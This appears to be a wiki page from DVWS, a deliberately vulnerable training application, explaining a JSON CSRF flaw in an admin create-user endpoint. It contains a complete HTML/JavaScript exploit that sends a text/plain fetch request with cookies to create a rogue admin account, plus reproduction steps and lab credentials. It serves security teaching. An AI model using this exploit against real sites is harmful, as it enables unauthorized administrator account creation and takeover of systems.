Skip to content

JSON CSRF

Jump to bottom
Sam Sanoop edited this page Jan 13, 2026 · 1 revision

Exploiting JSON CSRF for Admin Account Creation

This guide demonstrates how to exploit the JSON CSRF vulnerability in the "Create User" admin feature.

Vulnerability Overview

The endpoint /api/v2/admin/create-user allows creating new users. It is intended to accept JSON. However, it is misconfigured to:

  1. Accept Content-Type: text/plain.
  2. Parse the request body as JSON even if the Content-Type is text.
  3. Authenticate using Cookies (which are automatically sent by browsers).

This combination allows an attacker to perform a Cross-Site Request Forgery (CSRF) attack using a mechanism (like fetch or a form) that bypasses the CORS preflight check, which usually protects JSON endpoints.

Attack Scenario

An attacker wants to create a new Administrator account on the target system without knowing the current admin's credentials. They trick a logged-in admin into visiting a malicious webpage.

Exploit Code (PoC)

Host the following HTML file on a malicious server (or locally as exploit.html).

<!DOCTYPE html>
<html>
<body>
    <h1>CSRF Exploit: Creating Admin User</h1>
    <script>
        // Target endpoint
        const url = 'http://dvws.local/api/v2/admin/create-user';

        // Malicious Payload (New Admin User)
        const payload = JSON.stringify({
            username: "hacker_admin",
            password: "password123",
            admin: true
        });

        // Execute CSRF
        // Using 'text/plain' prevents a CORS preflight (OPTIONS) request.
        // 'credentials: include' ensures the victim's session cookies are sent.
        fetch(url, {
            method: 'POST',
            mode: 'no-cors', // Opaque response (we don't need to read it)
            headers: {
                'Content-Type': 'text/plain'
            },
            body: payload,
            credentials: 'include' 
        }).then(() => {
            document.body.innerHTML += "<p>Exploit sent!</p>";
        }).catch(e => {
            document.body.innerHTML += "<p>Error: " + e + "</p>";
        });
    </script>
</body>
</html>

Steps to Reproduce

  1. Log in to the DVWS application as an Admin (e.g., admintest/admintest).
  2. Open the exploit.html file in a separate browser tab (simulating visiting a malicious link).
  3. The script will execute automatically in the background.
  4. Verify: Go back to the DVWS application (or log out). Try logging in with the credentials:
    • Username: hacker_admin
    • Password: password123
  5. If successful, you will be logged in, and checking the Profile area will show Role: Admin.

Solutions

FAQ

Questions

Clone this wiki locally